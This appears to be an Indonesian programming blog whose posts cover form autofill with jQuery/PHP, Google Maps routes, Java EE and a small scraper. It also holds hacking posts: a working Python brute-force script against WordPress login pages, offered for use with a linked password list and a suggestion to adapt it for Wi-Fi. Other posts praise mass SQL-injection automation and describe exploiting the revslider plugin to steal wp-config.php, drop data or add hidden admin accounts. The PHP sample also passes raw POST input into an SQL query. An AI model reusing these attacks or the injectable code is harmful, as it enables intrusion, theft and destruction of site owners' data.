Cara mudah belajar pemrograman komputer

Selasa, 15 Desember 2015

Mengisi salah satu field di form secara otomatis


Kembali lagi di coretan-coretan kecil dari programmer goBlog. Tulisan kita kali ini akan membahas tentang bagaimana mengisi sebuah field tertentu pada form berdasarkan inputan pada fiel lain.
Tulisan ini dilatar belakangi pertanyaan salah seorang teman yang bertanya "Misalkan ada form data mahasiswa dengan field NPM dan nama, apakah bisa field nama terisi otomatis ketika kita mengisikan NPM pada field npm?"
Jawabanya tentu saja bisa.
Pada studi kasus yang akan kita bahas ini, kita akan menerapkanya pada form di sebuah website.
Kali ini kita akan memanfaatkan salah satu framework javascript yang cukup merakyat yaitu jQuery dan kemampuan ajax yang dimilikinya.
Kita buat dulu sebuah database dengan nama datamahasiswa, kemudian buat satu tabel dengan nama mahasiswa dengan dua field npm sebagai primary key dan nama.

--------------------------------------------------------

CREATE DATABASE datamahasiswa;
use datamahasiswa;
create table mahasiswa(
    npm int not null PRIMARY KEY,
    nama varchar(30) not null
    );
    
insert into mahasiswa(
    npm, nama) VALUES (10753001,'Nama Mahasiswa1');
insert into mahasiswa(
    npm, nama) VALUES (10753002,'Nama Mahasiswa2');
insert into mahasiswa(
    npm, nama) VALUES (10753003,'Nama Mahasiswa3');
insert into mahasiswa(
    npm, nama) VALUES (10753004,'Nama Mahasiswa4');

--------------------------------------------------------

Selanjutnya kita buat file form.html dan ajaxrespon.php
form.html ini kita gunakan untuk menampilkan form kita.sedangkan ajaxrespon.php akan kita gunakan untuk menangani ajaxrequest dari jQuery kita pada form yang kita buat.



isi dari form.html

<!DOCTYPE html>
<html>
<head>
 <title>BELAJAR AJAX</title>
 <script type="text/javascript" src="https://code.jquery.com/jquery-2.1.4.min.js"></script>   <!-- INCLUDE jQuery -->
</head>
<body>
<form action="#" method="post">
 <input type="text" name="npm" id="npm" placeholder="NPM">
 <input type="text" name="nama" id="nama" placeholder="Nama">
 <input type="submit" value="simpan">
</form>

<script type="text/javascript">
$(document).ready(function(){

 $('#npm').change(function(){    // KETIKA ISI DARI FIEL 'NPM' BERUBAH MAKA ......
  var npmfromfield = $('#npm').val();  // AMBIL isi dari fiel NPM masukkan variabel 'npmfromfield'
  $.ajax({        // Memulai ajax
    method: "POST",      
    url: "ajaxrespon.php",    // file PHP yang akan merespon ajax
    data: { npm: npmfromfield}   // data POST yang akan dikirim
  })
    .done(function( hasilajax ) {   // KETIKA PROSES Ajax Request Selesai
        $('#nama').val(hasilajax);  // Isikan hasil dari ajak ke field 'nama' 
    });
 })
});
</script>
</body>
</html>


isi script ajaxrespon.php

<?php
$koneksi = mysql_connect("localhost","root","");    // BUKA KONEKSI DENGAN DATABASE MYSQL
             // host : localhost - user : root - password : kosong

$db = mysql_select_db('datamahasiswa');    // TENTUKAN NAMA DATABASE

$npm = $_POST['npm'];        // Menerima NPM dari JQuery Ajax dari form

$s = mysql_query("select * from mahasiswa where npm='$npm'"); // Ambil nama mahasiswa berdasarkan npm yang dikirim dari jquery ajax
while ($data = mysql_fetch_array($s)) {       
 echo $data[1];            // Print nama hasil perolehan dari query database
}
?>

Demikian coretan kecil dari programmer goBlog kali ini apabila ada pertanyaan jangan ragu untuk meninggalkan jejak di kolom komentar.
Semoga bermanfaat.

Rabu, 09 Desember 2015

Menambahkan rute di peta google map api untuk GIS



Beberapa hari yang lalu ada salah seorang dari pembaca blog ini mengirimkan email kepada saya menanyakan tentang bagaimana menambahkan atau membuat rute dari gedung A ke gedung B. Atau dari koordinat A ke koordinat B.

Bukanya pelit untuk membalas email, tetapi saya rasa jauh lebih baik jika saya bagikan di blog saja, supaya apabila ada yang membutuhkan tinggal comot di blog ini.

Baiklah langsung saja kita buat rute di web gis google map kita.
Dalam praktik untuk tulisan kali ini saya menggunakan sourcecode dari tulisan sebelumnya di sini dengan sedikit modifikasi tentunya.

Berikut contoh script untuk menampilkan rute pada peta gis google map kita.



  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
<!DOCTYPE html>
<html>
<head>
 <title>ROUTE MAP</title>
 <style type="text/css">
  html, body {
        height: 100%;
        margin: 0;
        padding: 0;
       }
       #map_canvas {
         height: 100%;
       }
 </style>
</head>
<body>
 <div id="map_canvas">  

 </div>



</body>
<script type="text/javascript" src="http://maps.google.com/maps/api/js"></script>  
<script type="text/javascript">
 //DUA VARIABLE BERIKUT DIPERLUKAN UNTUK RUTE
 var directionsDisplay;
 var directionsService = new google.maps.DirectionsService();


 (function() {  // fungsi untuk dijalankan ketika halaman web dubuka  
   var infowindow = null;  
      
   initialize(); // mengeksekusi fungsi initialize()  
     
  })();  
    
    function initialize() {  

     //BARIS DIBAWAH INI JUGA DIPERLUKAN UNTUK RUTE
     directionsDisplay = new google.maps.DirectionsRenderer();

        // Baris berikut digunakan untuk mengisi marker atau tanda titik di peta  
        var sites = [  
    
         ['Polinela', -5.358725,105.233413 ,1, '<h4>Politeknik Negeri Lampung</h4><p>Keterangan didalam marker</p>'], // pertama merupakan judul market, kedua adalah titik koordinan latitude, ketiga longitude, dan keempat merupakan z index (titik mana yang ditampilkan lebih dulu) untuk menentukan titik mana diatas titik mana, ketiga merupakan isi keterangan marker nya.  
         ['Unila', -5.364505,105.243442 ,2, '<h4>Universitas Lampung</h4><p>Keterangan didalam marker</p>'],  
         ['DJ',-5.3745833,105.2425024,3,'<h4>IBI DARMAJAYA</h4><p>Keterangan untuk marker</p>']
   
        ];  
        var centerMap = new google.maps.LatLng(-5.364505,105.243442); // mengatur pusat peta  
          
        var myOptions = {  
          zoom: 15, // level zoom peta  
          center: centerMap, // setting pusat peta ke centerMap  
          mapTypeId: google.maps.MapTypeId.ROADMAP //menentukan tipe peta  
        }  
    
        var map = new google.maps.Map(document.getElementById("map_canvas"), myOptions); //menempatkan peta pada div dengan ID map_canvas di html  

        //BARIS DIBAWAH INI UNTUK MELETAKKAN RUTE PADA MAP "map_canvas" ^
      directionsDisplay.setMap(map);

        setMarkers(map, sites); // memanggil fungsi setMarker untuk menandai titik di peta.  
          
        infowindow = new google.maps.InfoWindow({  
            content: "loading..."  
          });  
    
        var bikeLayer = new google.maps.BicyclingLayer();  
        bikeLayer.setMap(map); //memnunculkan peta  

        //BARIS DIBAWAH INI UNTUK MEMANGGIL FUNGSI calcRoute()
        calcRoute();   
      }  
    
        

        //FUNGSI CALCROUTE UNTUK MENGGAMBAR RUTE DARI TITIK A KE TITIK B / START ke END
        function calcRoute() {
    var start = '-5.358725,105.233413';
    var end = '-5.3745833,105.2425024';
    var request = {
      origin:start,
      destination:end,
      travelMode: google.maps.TravelMode.DRIVING
    };
    directionsService.route(request, function(result, status) {
      if (status == google.maps.DirectionsStatus.OK) {
        directionsDisplay.setDirections(result);
      }
    });
  }
    
    
     
        function setMarkers(map, markers) {  
         //berikut merupakan perulangan untuk membaca masing masing titik yang telah kita definisikan di sites[];  
        for (var i = 0; i < markers.length; i++) {  
          var sites = markers[i];  
          var siteLatLng = new google.maps.LatLng(sites[1], sites[2]);  
          var marker = new google.maps.Marker({  
            position: siteLatLng,  
            map: map,  
            title: sites[0],  
            zIndex: sites[3],  
            html: sites[4]  
    
          });  
    
          var contentString = "Some content";  
          // berikut merupakan fungsi untuk mengatur agar keterangan marker muncuk ketika mouse diarahkan ke marker (mouse over)  
          google.maps.event.addListener(marker, "mouseover", function () {  
              
            infowindow.setContent(this.html);  
            infowindow.open(map, this);  
          });  
        }  
      }  
    

</script>

</html>

Disetiap Baris yang saya tambahkan untuk memunculkan rute di peta telah saya tambahkan komentar. sehingga sobat bisa membedakan perubahan/modifikasi yang saya buat dari script pada tutorial sebelumnya sehingga bisa menampilkan rute atau track dari satu titik ke titik lain.
sekian, semoga bermanfaat.

Kamis, 19 November 2015

Membuat website dengan java

Sobat programmer goblog.
Kali ini berdasarkan beberapa pertanyaan seputar website menggunakan teknologi java maka pada tulisan ini penulis menyempatkan untuk memberikan pengantar pemrograman javaEE untuk membuat web atau web application berbasis java.

Seperti yang kita ketahui bahwa java terdiri dari j2se (Java 2 standard edition) java untuk pemrograman desktop; j2me (java 2 micro edition) atau java untuk perangkat mobile dan embedded device; dan j2ee (java 2  Enterprise Edition)
Kalau belajar java core pasti semua sudah mendapatkan materi di kampus atau sekolah masing masing, dan kalau membuat web dengan php pasti sudah umum dijumpai. Maka kali ini kita akan sedikit berkenalan dengan javaEE dan membuat website menggunakan teknologi ini.

Hal hal yang pertama dibutuhkan untuk belajar membuat website dinamis menggunakan java adalah JDK tentunya, kemudian dibutuhkan juga IDE dan web server untuk java. untuk JDK sobat bisa download secara gratis di website oracle java disini 
Kemudian untuk IDE bisa menggunakan eclipse for javaEE disini 
dan untuk server kita bisa menggunakan apache tomcat 7, bisa di download atau menggunakan yang telah terintegrasi dengan eclipse, pada tutorial kita ini akan menggunakan tomcat bawaan eclipse.

Sebelum lanjut ke tutorialnya penulis akan sedikit menyinggung soal metode yang akan kita gunakan. Pada tutorial ini penulis menggunakan metode MVC atau model view control karena memang penulis lebih nyaman dengan metode ini. Untuk penjelasan singkat tentang MVC ini sobat bisa membacanya disini 

Baiklah kita lanjut ke tutorial.
Pertama kita download dan install Java Development Kit (JDK)
Kemudian download dan extract eclipse for javaEE dan jalankan eclipse.

Pada jendela eclipse yang telah terbuka.
Pilih menu File -> New -> dynamic web project
input nama projectnya, kemudian click finish.





Selanjutnya pada kolom project explorer didalam java resource, klik kanan pada folder src dan pilih new package, kemudian pada jendela yang keluar ketikkan nama package dan click fisnish.



Selanjutnya pada package yang kita buat tadi kita buat satu class java untuk controller kita.
klik kanan pada package tersebut kemudian pilih new->class
Pada jendela yang muncul ketik nama classnya kemudian hilangkan centang pada bagian which method.....



kemudian click finish.
Kita biarkan dulu file tersebut.
Masih pada package yang sama kita buat satu file servlet yang akan menjadi controller kita.
Klik kanan pada package tersebut, pilih new->servlet Beri nama kemudian klik finish.




Selanjutnya kita akan membuat view yang akan menampilkan website kita, klik kanan pada folder WebContent pilih new -> Jsp File




Setelah ketiga file tersebut terbuat kita akan mulai coding..



Oke, untuk tutorial ini kita akan mencoba untuk menampilkan nama dan alamat orang.
Kita mulai dari class Model1 yang kita buat tadi.
Kita buat variable private untuk nama dan alamat.
Kemudian kita buat juga method untuk setter dan getter kedua variable tersebut.



Selanjutnya pada file controller kita, kita akan membuat script untuk menangani aksi pada website yang akan kita buat.
Pada file tersebut telah ada dua method doGet dan doPost.
Kita dapat menggunakan yang mana saja, namun pada tutorial ini kita akan menggunakan doPost, sebab kita akan membuat form input dengan metode post.


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package com.programmergoblog.belajarjavaweb;

public class Model1 {
 private String nama="";
 private String alamat="";
 
 
 public String getNama() {
  return nama;
 }
 public void setNama(String nama) {
  this.nama = nama;
 }
 public String getAlamat() {
  return alamat;
 }
 public void setAlamat(String alamat) {
  this.alamat = alamat;
 }
 
 
 
}


hapus coding yang sudah ada pada method tersebut dan kita buat method kita sendiri.
pertama kita akan melakukan instansiasi dari class Model1 kedalam object orang.
kemudian kita ambil post dari form jsp (akan kita buat nanti) dan memasukkannya kedalam variable nama dan alamat yang kita buat melalui instansiasi object orang tadi menggunakan method setter.


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package com.programmergoblog.belajarjavaweb;

import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

/**
 * Servlet implementation class Controller1
 */
@WebServlet("/Controller1")
public class Controller1 extends HttpServlet {
 private static final long serialVersionUID = 1L;
       
    /**
     * @see HttpServlet#HttpServlet()
     */
    public Controller1() {
        super();
        // TODO Auto-generated constructor stub
    }

 /**
  * @see HttpServlet#doGet(HttpServletRequest request, HttpServletResponse response)
  */
 protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
  Model1 orang = new Model1();
  request.setAttribute("orang", orang);
  getServletContext().getRequestDispatcher("/view1.jsp").forward(request,response);
 }

 /**
  * @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse response)
  */
 protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
  Model1 orang = new Model1();
  
  String namaDariForm = request.getParameter("nama");
  String alamatDariForm = request.getParameter("alamat");
  
  orang.setNama(namaDariForm);
  orang.setAlamat(alamatDariForm);
  
  request.setAttribute("orang", orang);
  getServletContext().getRequestDispatcher("/view1.jsp").forward(request,response);
  
 }

}


selanjutnya kita forward data tersebut kembali ke file jsp untuk ditampilkan di browser.

pada file view1.jsp kita akan menangani data yang kita peroreh dari controller dan menampilkanya pada halaman browser.
tambahkan baris ini sebulum tag <html>

<jsp:useBean id="orang" scope="request" class="com.programmergoblog.belajarjavaweb.Model1"></jsp:useBean>

selanjutnya pada bagian body html kita akan menampilkan nama dan alamat tadi.

Nama : <jsp:getProperty property="nama" name="orang"/>
<br>
Alamat : <jsp:getProperty property="alamat" name="orang"/>


<form action="Controller1" method="post">
<input type="text" name="nama">
<br>
<input type="text" name="alamat">
<br>
<input type="submit" value="daftar">
</form>



 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<%@ page language="java" contentType="text/html; charset=ISO-8859-1"
    pageEncoding="ISO-8859-1"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<jsp:useBean id="orang" scope="request" class="com.programmergoblog.belajarjavaweb.Model1"></jsp:useBean>

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<title>Insert title here</title>
</head>
<body>
Nama : <jsp:getProperty property="nama" name="orang"/>
<br>
Alamat : <jsp:getProperty property="alamat" name="orang"/>


<form action="Controller1" method="post">
 <input type="text" name="nama">
 <br>
 <input type="text" name="alamat">
 <br>
 <input type="submit" value="daftar">
</form>


</body>
</html>



Sekarang kita kembali pada file controller1 dan menambahkan srcipt didalam doGet.
Skrip ini diperlukan untuk menangani aksi ketika web dikunjungi pertama kali, karena method post yang kita buat sebelumnya tadi tidak terakses pada saat pertama controller kita diakses dari brower.

tambahkan scrip ini didalam method tersebut,


1
2
3
Model1 orang = new Model1();
  request.setAttribute("orang", orang);
  getServletContext().getRequestDispatcher("/view1.jsp").forward(request,response);




kemudian kita bisa menjalankan program dengan klik menu run pilih run, pada jendela yang muncul klik finish.






Sikahkan isi form dan klik daftar untuk melihat hasil program kita tadi.


Sekian tulisan dari programmerGoBlog kali ini, semoga dapat sedikit menjadi pengantar untuk anda yang ingin belajar pemrograman web menggunakan java.
Apabila ada perbedaan pendapat, kritik, serta saran yang membangun ataupun sekedar ingin bertanya dan request tutorial terkait pemrograman, jangan ragu untuk meninggalkan jejak di kolom komentar.
Terimakasih telah berkunjung.



Selasa, 10 November 2015

Pemrograman sebagai kemampuan untuk mempermudah pekerjaan

Tulisan kali ini hanya dibuat untuk catatan penulis apabila dibutuhkan suatu waktu, namun apabila ada yang memerlukan baik untuk belajar maupun sebagai acuan, maka dipersilahkan untuk mengambil, memodifikasi, dan atau menggunakan tulisan ini.

Tulisan programmer goBlog kali ini dilatarbelakangi oleh proses submission e-journal untuk di index di International Scientific Indexing atau ISIIndexing.
Proses awal submission pada isi indexing adalah kita diwajibkan untuk mengisi form submission di websita isiindexing.com untuk selanjutnya submission akan dievaluasi dan apabila disetujui maka akan diindex sementara di website isi.
Beberapa hari setelah mengisi form submission, penulis dihubungi oleh ISI Indexing yang menyatakan bahwa jurnal yang saya ajukan telah diindex sementara dan diwajibkan menyelesaikan proses submission dengan membayar sejumlah biaya.

Pada tahap ini penulis merasa bingung karena tidak menembukan dimana journal yang penulis usulkan di index, karena menggunakan fasilitas search penulis tidak menemukan hasil.

Kemudian terfikir bahwa mungkin memang tidak bisa di cari menggunakan fasilitas search karena proses submission belum selesai. Namun pada halaman ini http://isindexing.com/isi/journals.php penulis melihat banyak juga jurnal yang belum menyelesaikan proses submission namun telah terindex sementara disana. Penulis kemudian mencoba mencari dari halaman ke halaman apakah FIAT JUSTISIA (nama jurnal yang penulis ajukan untuk di index) ada dalam daftar tersebut atau tidak.
Memperhitungkan banyaknya halaman yang harus penulis cek untuk memastikan keberadaan jurnal ini pada index ISI dan dengan koneksi internet yang lumayan menguras kesabaran, akhirnya penulis memutuskan untuk menulis program yang dapat mencari nama FIAT Justisia di index ISI secara otomatis.
Karena pada saat itu penulis tidak sedang berada di komputer yang biasa penulis gunakan untuk coding, akhirnya diputuskan untuk menggunakan bahasa pemrograman seadanya yang kebetulan sempat penulis install di komputer kantor tersebut.

Menggunakan bahasa pemrograman python, akhirnya dibuatlah script program sebagai berikut.



 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

#########################################################################################
#  Program Untuk Menemukan Apakah FIAT JUSTISIA TELAH DIINDEX OLEH isindexing   #
#  Ditulis Oleh : Jaylani Chalax                                                   #
#  Tanggal : 10/11/205                                                             #
#########################################################################################

page = 0;
limit =50;

while page<=1150:
 p = requests.get("http://isindexing.com/isi/journals.php?page="+str(page)+"&limit=50")
 print str(page)
 if "fiat" in p.content:
  print str(page)
  print "ini Fiat"
  break
 else:
  print "ini bukan fiat"

 print p.status_code
 page = page+limit



Script program ini hanya memiliki satu tugas yaitu, buka halaman listing index milik isi dii http://isindexing.com/isi/journals.php kemudian munculkan 50 hasil dan scan apakah terdapat kata "Fiat" pada halaman tersebut, jika ya maka beritahu kami bahwa di halaman tersebut terdapat kata fiat dan hentikan proses pencarian.
Apabila tidak ditemukan pada halaman tersebut maka beritahu kami bahwa tidak ditemukan kata fiat pada 50 list pertama, lantas lanjutkan ke list 50 sampai 100 dengan menaikkan nilai page dari 0 ditambah limit. page=page+limit

Setelah program dijalankan dan mengakses list ke 400-450 maka program akhirya menemukan journal FIAT JUSTISIA ada dalam daftar tersebut.

Nah begitulah kira kira penjelasan program kecil nan sederhana ini, yang akhirnya memudahkan penulis untuk menemukan journal FIAT JUSTISIA telah terindex sementara oleh isi dan dapat melanjutkan proses submission jurnal ke tahap selanjutnya.


Programmer goBlog akhirnya memutuskan untuk menulis latar belakang serta hasil dari permasalahan sederhana ini dan memasukkannya kedalam blog programmerGoBlog selain sebagai pengingat juga dimaksudkan untuk menunjukkan bahwa pemrograman dapat dimanfaatkan untuk menyelesaikan perkara yang menyusahkan dan merepotkan dengan cara yang mudah dan menyenangkan.

Akhirkata apabila ada kritik saran dan atau pertnyaan, jangan ragu untuk meninggalkan jejak pada kolom komentar.

Minggu, 01 November 2015

Script hacking wordpress dengan teknik bruteforce

Halo halo..
Lagi lagi bahasan kita kali ini seputar hacking, tentunya dari sudut pandang programmer..
Kali ini kita akan membahas tentang salah satu teknik hacking yaitu BruteForce dan mengamplikasikan kemampuan programming kita untuk membuat program yang akan kita gunakan untuk menyerang website berbasis wordpress.

Apa sih teknik bruteforce itu? bruteforce merupakan sebuah teknik untuk masuk kedalah sistem (hacking) dengan mencoba semua password dan username yang mungkin, teknik ini bisa kita lakukan dengan mencoba secara manual, tetapi kalau kita seorang programmer, maka kita tulis saja sebuah program untuk melakukan teknik ini secara otomatis.
Nah kali ini kit akan membahas dan membuat program sederhana untuk terknik bruteforce ini yang ditujukan untuk website berbasis cms wordpress.

Program yang akan kita tulis ini menggunakan bahasa pemrograman python, tetapi dengan mengerti alur logikanya maka sobat programmer goBlog bisa membuat ulang program ini dengan bahasa pemrograman apapun yang sobat inginkan.

Okeh beritku script programnya

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# ############################################################################ #
# bruteforce for wordpress                                                     #
# author chalax                                                                #
# ############################################################################ #

import requests
import time


with open ("data.txt", "r") as myfile:
    data=myfile.readlines()

cond = "true"
s=0
while cond:
 z = data[s].rstrip('\n')
 try:

 
  r = requests.post("http://targetsite.net/wp-login.php", data = {"log":"admin","pwd":z})

  if "incorrect" in r.content:
   print "Password yang dicoba : "+z
   print "Hasil : Gagal"
   
  elif "empty" in r.content:
   print "Password yang dicoba : "+z
   print "Hasil : Gagal"
  elif "login_error" in r.content:
   print "Password yang dicoba : "+z
   print "Hasil : Gagal"
  else:
   print r.content
   print "Password ditemukan :"+z

   break
  # time.sleep(1)
  if s%100==0:
   time.sleep(10)
  s=s+1
  except requests.exceptions.RequestException as e:    
  print e


Dan berikut penjelasanya.
Baris pertama dan kedua adalah untuk mengimport librari python yang dibutuhkan
Dua baris berikutnya adalah untuk mengambil daftar password yang akan kita gunakan yang berada didalam file data.txt dan menyimpannya kedalam variable data

baris dari cond = "true"
Set variable cond dengan isi true untuk digunakan sebagai kondisi pada perulangan while.
baris dibawah variable cond adalah variable s dengan ini 0, ini adalah variable untuk menentukan dari baris ke berapa password yang akan dicoba pada file data.txt
Karena file data.txt menyimpan satu password dalam satu baris.

password1
password2
password3
password4
password..dst

selanjutnya perulangan while dilakukan.

z = data[s].rstrip('\n')

Baris ini digunakan untuk menghilangkan kode new line -- \n -- atau karakter enter dari setiap baris password yang kita dapat dari file data.txt dan mey
selanjutnya adalah blcok try and catch, block
try:

except.request.exceptions.RequestException as e:
print e

Block try and catch ini diperlukan agar perulangan tidak terhenti apabila terjadi error seperti koneksi ke server terputus atau website down sementara pada saat percobaan.

r = requests.post("http://targetsite.net/wp-login.php", data = {"log":"admin","pwd":z})
baris ini membuat post request ke halaman login wordpress dan mengirimkan data login berupa username admin dan password dari variable z.

baris berikutnya adalah if dan else dimana apabila hasil dari baris diatas menghasilkan kata "Incorrect" atau "empty" atau "login_error" maka cetak keterangan bahwa login gagal, jika tidak terkandung salah satu dari tiga kata diatas maka kemungkinan percobaan berhasil dan cetak password yang dicoba, kemudian hentikan proses looping while dengan baris break

Baris
if s%100 ==0

baris ini adalah untuk menghentikan sementara proses percobaan setiap 100 kali mencoba, hal ini bertujuan agar website yang sedang kita coba bruteforce tidak down karena terlalu banyak request.

kemudian baris selanjutnya adalah untuk meningkatkan nilai variable s atau dengan kata lain untuk memberitahu perulangan while untuk mencoba baris berikutnya dari file data.txt



Nah kurang lebih begitulah bentuk dari program kita yang sangat sederhana untuk menebak password wordpress. Dengan menggunakan teknik yang sama dan sedikit modifikasi maka program ini dapat digunakan untuk hack password website lain tidak hanya wordpress atau bisa juga untuk hack password wifi, hack wifi id dll dll.
Sedangkan isi dari file data.txt sobat bisa buat sendiri dengan memasukkan semua password yang ingin di coba dengan format satu baris satu password dan menyimpan nya dengan nama data.txt

atau kalau mau download bisa download disini, kurang lebih sekitar 700MB dan milyaran password didalamnya.

Hubungan erat hacking dengan pemrograman


Halo pembaca programmer goBlog baik yang memang pembaca setia maupun yang kesasar dimari dari mbah gugle.
Kali ini programmer goBlog mau sedikit membahas apa sih hubungan antara pemrograman dengan hacking..
Sok jadi keker dulu kita kali ini.
Hacking adalah sebuah kegiatan untuk masuk kedalam sistem seseorang dengan cara yang tidak biasa, baik itu legal maupun illegal. Loh bukanya hacking memang illegal ya? eits tidak semua kegiatan hack meng hack itu illegal di jaman serba teknologi seperti ini justru kegiatan hacking dan para hacker merupakan hal yang sangat diperhitungkan oleh pemegang sistem, bahkan perusahaan besar seperti facebook dan google memberikan hadiah yang besar bagi para hacker yang bisa menemukan celah keamanan pada sistem mereka. Nah, kegiatan hacking yang telah mendapat izin seperti ini adalah jenis hacking yang legal, asal memenuhi kriteria yang ditentukan perusahaan tentunya.

Seperti yang sudah disebutkan diatas bahwa hacking adalah kegiatan yang dilakukan untuk masuk dan mengambil alih sebuah sistem, maka ada beberapa hal yang perlu dilakukan agar dapat berhasil masuk kedalam sistem tersebut.
Hal mutlak pertama kali yang harus dilakukan adalah mengumpulkan informasi sebanyak mungkin mengenai sistem yang akan di hack, cara kerja, sistem autentikasi, pengamanan, platform yang digunakan, apa saja perangkat yang terkait dengan sistem dll dll dll semua informasi yang berkaitan dengan sistem tersebut semakin banyak kita ketahui maka semakin besar kemungkinan kita untuk dapat masuk kedalam sistem tersebut dengan cara yang tidak biasa. Dengan mengatakan "cara yang tidak biasa" yang dimaksud penulis adalah masuk kedalam sistem tanpa melalui prosedur yang ditentukan si pembuat sistem.

Kemudian apabila semua informasi telah terkumpul, maka yang perlu dilakukan selanjutnya adalah mencoba mengerti alur dan cara kerja sistem tersebut. Barulah kita bisa mencari celah bagaimana cara untuk masuk kedalam sistem tersebut.

Nah pada tahap ini kemampuan pemrograman kita mengambil peran, apabila ternyata pada tahapan mengumpulkan semua informasi kita secara beruntung mendapat banyak informasi termasuk tentang bahasa pemrograman yang digunakan dalam sistem tersebut, kita bisa langsung mencoba mencari kelemahan dari bahasa pemrograman tersebut untuk kemudian memanfaatkan kelemahan itu. Dalam beberapa kasus hacker bahkan bisa mendapatkan informasi berupa password dengan memanfaatkan kelamahan sistem seperti contoh SqlInjection. Apabila password yang didapat dari teknik sql injection sudah berupa password plain atau password dalam bentuk asli maka kita tinggal gunakan password tersebut untuk masuk kedalam sistem. Namun apabila password yang tersimpan berupa password yang telah di hash maka kita harus menemukan password asli dengan mengkonversi password tersebut kedalam bentuk password normal, caranya? nah itulah kenapa kita harus bisa pemrgoraman :D .
Hash merupakan teknik untuk menjadikan teks bias menjadi kumpulan karakter yang tidak bisa kita baca dan tidak bisa dikonversi kembali kedalam bentuk semula, jadi yang bisa kita lakukan adalah dengan membuat kembali hash dari teks teks dan mencoba mencocoknya dengan password yang kita dapat dari sistem. Sepertinya sulit, sebab ada milyaran kosa kata yang harus kita cocokan, yah kita tinggal buat programnya, jalankan dan biarkan program bekerja kita tinggal tidur.. :D

Kita baru menggunakan satu teknik hacking yaitu SqlInjection, masih banyak cara dan teknik lain yang bisa dilakukan untuk masuk kedalam sebuah sistem secara tidak biasa.
Kita hanya akan membahas yang berkaitan dengan pemrograman. Katakanlah skenarionya begini, kita kan mencari kelemahan website dari sisi sql injection dan mengumpulkan website website tersebut untuk selanjutnya kita coba hack. Ini bisa dilakukan satu persatu dengan teknik sql injection, namun kalau dari sisi programmer kita bisa melakukan ribuan langkah ini dengan hanya satu klik pada sebuah program. Dengan kemampuan pemrograman yang baik kita bisa membuat sebuah program yang mengerjakan langkah langkah secara otomatis, mulai dari mengumpulkan daftar website yang akan di hack, menguji coba website tersebut memiliki kelemahan dari sisi sql injection atau tidak, mencoba mendapatkan data password dengan memanfaatkan teknik sql injection dan mendecript password apabila ternyata ditemukan dalam bentuk hash. Oleh seorang programmer langkah ini bisa di otomatisasi sehingga memungkinkan untuk meretas ribuan bahkan jutaan website tanpa kita harus meretasnya satu persatu, cukup buat programnya dan jalankan.

Nah itulah sobat, tentang hubungan erat pemrograman dan hacking, so untuk menjadi seorang hacker pemrograman merupakan hal yang juga harus dikuasai, dengan mengatakan ini programmer goBlog tidak mempertimbangkan hacker pada level paling bawah yaitu script kiddies yang bisanya cuma memakai program buatan orang untuk deface website dan mengaku ngaku hacker.. :D .
Apabila ada pertanyaan jangan sungkan untuk meninggalkanya pada kolom komentar dibawah ini.

Sabtu, 24 Oktober 2015

Cara hack website berbasis wordpress dengan memanfaatkan kelemahan plugin revslider



Buset udah sawangan gini blog nya..
Hallo sobat programmer, lupa login blog jadi jarang update.
Untuk sekedar mengisi kesenjangan tulisan --halah-- kali ini programmer goBlog bakalan ngebahas sedikit tentang hack meng-hack.
Tulisan ini dilatar belakangi oleh permintaan dari beberapa orang untuk hack ini lah hack itu lah hack dll dll dll.
programmer goBlog bukan hacker om, gak ngerti dah persoalan hack meng-hack :D

Jadi apa yang mau dibahas ??
Ini tetang mainan nya script kiddies dan hacker wannabe, tentang deface men-deface website melalui celah keamanan pada website tersebut.
Kali ini yang bakal dibahas adalah salah satu vulnerability pada salah satu plugin CMS terkemuka yaitu wordpress.
Vulnerability atau kelemahan pada plugin ini memungkinkan hacker untuk dapat mengunduh file file penting didalam website tersebut untuk kemudian dimanfaatkan untuk menyerang dan mengambil alih kendali pada website tersebut.
Plugin apa ya? nama plugin nya "revslider" atau slider revolution.
Nah loh, hati hati bagi yang di website nya menggunakan plugin ini.
Dari pembuktian yang penulis lakukan terbukti bahwa plugin ini dapat digunakan untuk mengunduh file wp-config.php pada website berbasis cms wordpress.
Lah trus kenapa emang kalo udah bisa mengunduh file wp-congig.php???
Wp-config.php ini merupakan file dewa yang apabila jatuh ketangan orang yang salah akan sangat berbahasa, kenapa? file ini berisi tentang setting database yang digunakan pada website, termasuk username, password, host, dan nama database yang digunakan.
Kalau kita sudah tau login databasenya, yang bisa kita lakukan berikutnya adalah ---- well banyak ---
Login ke database nya.
Mau ngerusak? drop aja semua data yang ada.
Mau coba login ke wordpress nya dengan akses administrator?
Ubah aja password admin nya dan login.
atau mau login diam diam tanpa admin tahu?
Buat akun baru dengan level admin..

